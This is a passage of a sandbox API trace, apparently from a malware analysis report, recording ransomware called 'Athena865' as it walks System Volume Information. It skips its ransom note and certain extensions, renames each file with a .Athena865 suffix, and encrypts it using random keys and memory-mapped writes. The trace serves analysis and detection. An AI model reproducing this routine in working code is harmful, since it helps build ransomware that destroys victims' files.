4 [0100.312] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.312] lstrlenW (lpString=".ini") returned 4 [0100.312] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.312] lstrlenW (lpString=".sys") returned 4 [0100.312] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.312] lstrlenW (lpString="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo") returned 56 [0100.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo.Athena865") returned 113 [0100.312] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.314] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.314] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.314] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.315] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.315] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.315] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.317] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.319] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.320] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.320] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.321] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x498ae80, ftCreationTime.dwHighDateTime=0x1d2fafb, ftLastAccessTime.dwLowDateTime=0x498ae80, ftLastAccessTime.dwHighDateTime=0x1d2fafb, ftLastWriteTime.dwLowDateTime=0x4ae1ae0, ftLastWriteTime.dwHighDateTime=0x1d2fafb, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", cAlternateFileName="{C4C23~2")) returned 1 [0100.321] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.321] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.321] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo" | out: lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo") returned="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo" [0100.321] lstrlenW (lpString="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo") returned 56 [0100.321] lstrlenW (lpString="Athena865") returned 9 [0100.321] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.321] lstrlenW (lpString=".dll") returned 4 [0100.321] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.321] lstrlenW (lpString=".lnk") returned 4 [0100.321] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.321] lstrlenW (lpString=".ini") returned 4 [0100.321] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.321] lstrlenW (lpString=".sys") returned 4 [0100.321] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.321] lstrlenW (lpString="{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo") returned 56 [0100.321] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo.Athena865") returned 113 [0100.321] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.322] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C4C23D0F-5069-470F-9760-27EB797F66C2}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.322] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.322] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.323] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.323] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.323] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.325] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.326] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.327] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.327] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.327] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb8527f60, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xb8527f60, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xb85c04e0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", cAlternateFileName="{C8612~1")) returned 1 [0100.327] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.327] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.327] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo" | out: lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo") returned="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo" [0100.327] lstrlenW (lpString="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo") returned 56 [0100.327] lstrlenW (lpString="Athena865") returned 9 [0100.327] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.327] lstrlenW (lpString=".dll") returned 4 [0100.327] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.327] lstrlenW (lpString=".lnk") returned 4 [0100.327] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.327] lstrlenW (lpString=".ini") returned 4 [0100.328] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.328] lstrlenW (lpString=".sys") returned 4 [0100.328] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.328] lstrlenW (lpString="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo") returned 56 [0100.328] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo.Athena865") returned 113 [0100.328] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.329] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.329] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.329] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.329] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.329] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.330] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.331] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.334] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.334] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.335] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc266d1e0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xc266d1e0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xc279dce0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", cAlternateFileName="{C8612~2")) returned 1 [0100.335] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.336] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.336] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo" | out: lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo") returned="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo" [0100.336] lstrlenW (lpString="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo") returned 56 [0100.336] lstrlenW (lpString="Athena865") returned 9 [0100.336] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.336] lstrlenW (lpString=".dll") returned 4 [0100.336] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.336] lstrlenW (lpString=".lnk") returned 4 [0100.336] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.336] lstrlenW (lpString=".ini") returned 4 [0100.336] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.336] lstrlenW (lpString=".sys") returned 4 [0100.336] lstrcmpiW (lpString1="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.336] lstrlenW (lpString="{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo") returned 56 [0100.336] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo.Athena865") returned 113 [0100.336] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.337] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C861246C-5D84-4FF4-A753-BAD4631D65CA}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c861246c-5d84-4ff4-a753-bad4631d65ca}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.337] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=264) returned 1 [0100.337] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.338] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.338] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.338] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x154 [0100.340] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000 [0100.340] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.341] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.341] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.342] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4296b8c0, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x4296b8c0, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x42a03e40, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", cAlternateFileName="{CB7F5~1")) returned 1 [0100.342] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.342] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.342] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo" | out: lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo") returned="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo" [0100.342] lstrlenW (lpString="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo") returned 56 [0100.342] lstrlenW (lpString="Athena865") returned 9 [0100.342] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.342] lstrlenW (lpString=".dll") returned 4 [0100.342] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.342] lstrlenW (lpString=".lnk") returned 4 [0100.342] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.342] lstrlenW (lpString=".ini") returned 4 [0100.342] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.342] lstrlenW (lpString=".sys") returned 4 [0100.342] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.342] lstrlenW (lpString="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo") returned 56 [0100.342] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo.Athena865") returned 113 [0100.342] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.344] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.344] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.344] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.344] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.345] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.345] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.346] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.349] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.349] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.349] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.350] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x491699e0, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x491699e0, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x4929a4e0, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", cAlternateFileName="{CB7F5~2")) returned 1 [0100.350] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.351] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.351] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo" | out: lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo") returned="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo" [0100.351] lstrlenW (lpString="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo") returned 56 [0100.351] lstrlenW (lpString="Athena865") returned 9 [0100.351] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.351] lstrlenW (lpString=".dll") returned 4 [0100.351] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.351] lstrlenW (lpString=".lnk") returned 4 [0100.351] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.351] lstrlenW (lpString=".ini") returned 4 [0100.351] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.351] lstrlenW (lpString=".sys") returned 4 [0100.351] lstrcmpiW (lpString1="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.351] lstrlenW (lpString="{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo") returned 56 [0100.351] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo.Athena865") returned 113 [0100.351] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.352] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{CB7F5435-7D84-4F72-A889-A21E062F0CB6}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{cb7f5435-7d84-4f72-a889-a21e062f0cb6}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.352] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.352] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.353] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.353] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.353] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.355] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.355] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, 